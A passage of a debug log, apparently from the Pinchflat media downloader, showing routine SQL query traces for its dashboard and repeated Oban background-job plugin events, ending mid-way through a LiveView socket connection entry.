s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 10:48:24.580 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 10:48:24.581 [debug] QUERY OK source="media_items" db=0.3ms idle=2.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 10:48:24.581 [debug] QUERY OK source="sources" db=0.0ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 10:48:24.582 [info] Sent 200 in 9ms 10:48:49.531 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:00.017 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:49:19.532 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:49.534 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:00.018 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:50:19.537 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:49.539 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.018 [info] {"source":"oban","duration":176,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:51:19.542 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:49.544 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:00.020 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:52:19.547 [info] {"source":"oban","duration":1663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:49.549 [info] {"source":"oban","duration":1644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.021 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:53:19.552 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:49.555 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.022 [info] {"source":"oban","duration":168,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:54:19.557 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:49.559 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.022 [info] {"source":"oban","duration":158,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:55:19.561 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:49.563 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.024 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:56:19.565 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:49.568 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:00.025 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:57:19.570 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:49.572 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.026 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:58:19.573 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:49.574 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:00.027 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:59:19.576 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:49.578 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.028 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:00:19.579 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:49.582 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:00.029 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:01:19.584 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:49.586 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.030 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:02:19.588 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:49.590 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.031 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:03:19.592 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:49.594 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.032 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:04:19.595 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:49.597 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.033 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:05:19.600 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:49.602 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.034 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:06:19.604 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:49.605 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.035 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:07:19.607 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:49.608 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.036 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:08:19.609 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:49.612 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.037 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:09:19.613 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:49.615 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.038 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:10:19.616 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:49.618 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.039 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:11:19.620 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:49.622 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:00.040 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:12:19.623 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:49.625 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:00.040 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:13:19.626 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:49.627 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:00.042 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:14:19.629 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:49.631 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:00.043 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:15:19.633 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:49.634 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.044 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:16:19.635 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:49.637 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.045 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:17:19.639 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:49.640 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.046 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:18:19.642 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:49.643 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.047 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:19:19.645 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:49.647 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.048 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:20:19.648 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:49.650 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.049 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:21:19.651 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:49.653 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.050 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:22:19.655 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:49.657 [info] {"source":"oban","duration":1655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.051 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:23:19.660 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:49.662 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.052 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:24:19.664 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:49.666 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.053 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:25:19.669 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:49.671 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.054 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:26:19.673 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:49.675 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.055 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:27:19.677 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:49.679 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.055 [info] {"source":"oban","duration":156,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:28:19.681 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:49.683 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.057 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:29:19.685 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:49.687 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.058 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:30:19.688 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:49.690 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.059 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:31:19.692 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:42.577 [info] GET / 11:31:42.577 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 11:31:42.578 [debug] QUERY OK source="settings" db=0.2ms idle=1844.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:31:42.578 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1844.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 11:31:42.578 [debug] QUERY OK source="sources" db=0.0ms idle=1844.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 11:31:42.578 [debug] QUERY OK source="media_items" db=0.1ms idle=1844.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 11:31:42.579 [debug] QUERY OK source="media_items" db=0.0ms idle=903.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 11:31:42.579 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:31:42.579 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:31:42.579 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:31:42.580 [debug] QUERY OK source="tasks" db=0.1ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 11:31:42.580 [debug] QUERY OK source="sources" db=0.1ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 11:31:42.581 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 11:31:42.581 [debug] QUERY OK source="media_items" db=0.2ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 11:31:42.581 [debug] QUERY OK source="sources" db=0.1ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 11:31:42.583 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 11:31:42.583 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 11:31:42.583 [debug] QUERY OK source="sources" db=0.0ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:31:42.584 [info] Sent 200 in 6ms 11:31:43.610 [info] CONNECTED TO Phoenix.LiveView.Socket in 21µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "MiR3DD05OnxBXEY5AQQPXS0qf1IFFnsnSj05VkPNqerPlrE4Zp83iA5Q", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => 